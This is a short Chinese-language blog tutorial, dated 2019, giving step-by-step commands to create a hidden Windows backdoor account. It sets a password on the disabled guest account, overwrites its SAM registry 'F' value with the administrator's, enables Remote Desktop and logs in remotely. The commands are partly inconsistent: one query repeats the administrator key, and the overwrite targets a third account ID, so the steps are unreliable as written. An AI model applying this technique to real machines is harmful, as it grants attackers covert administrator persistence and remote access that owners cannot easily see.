利用禁用账户创建windows隐藏用户

利用禁用账户创建windows隐藏用户

最后编辑时间：2019/4/5
Author by wineco / kissloo

---

总体步骤：
1给禁用账户设置密码
2查看注册表USER下的隐藏用户所对应的键值关系
3用administrator的F值信息覆盖我们想要利用的禁用账号的F值

---

设置已禁用账户guest的登录密码
net user guest 123456
【此处利用的是guest账户】
【PS：没密码不能登录，后面改密码不能隐藏】

复制administrator的F键值到已禁用账户guset的F键值
其他禁用账户也行，可以导出所有键值，查看有哪些用户，再编辑注册表导入
administrator ：HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
guest：HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5

查看administrator的 F值
reg query “HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4” /v F

查看 guest的F值
reg query “HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4” /v F

用administrator的F值覆盖到guest的F值
reg add “HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA” /v F /t REG_BINARY /d 0200010000000000000000000000000000000000000000008499ED22C432D40100000000000000000000000000000000F401000001020000100200000000000000000000010000000000000000000000 /f

开启远程桌面
（fDenyTSConnections没开远程桌面的值是1，开是0）
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f

远程登录测试
rdesktop 远程IP

转载请注明出处：https://blog.csdn.net/lql971203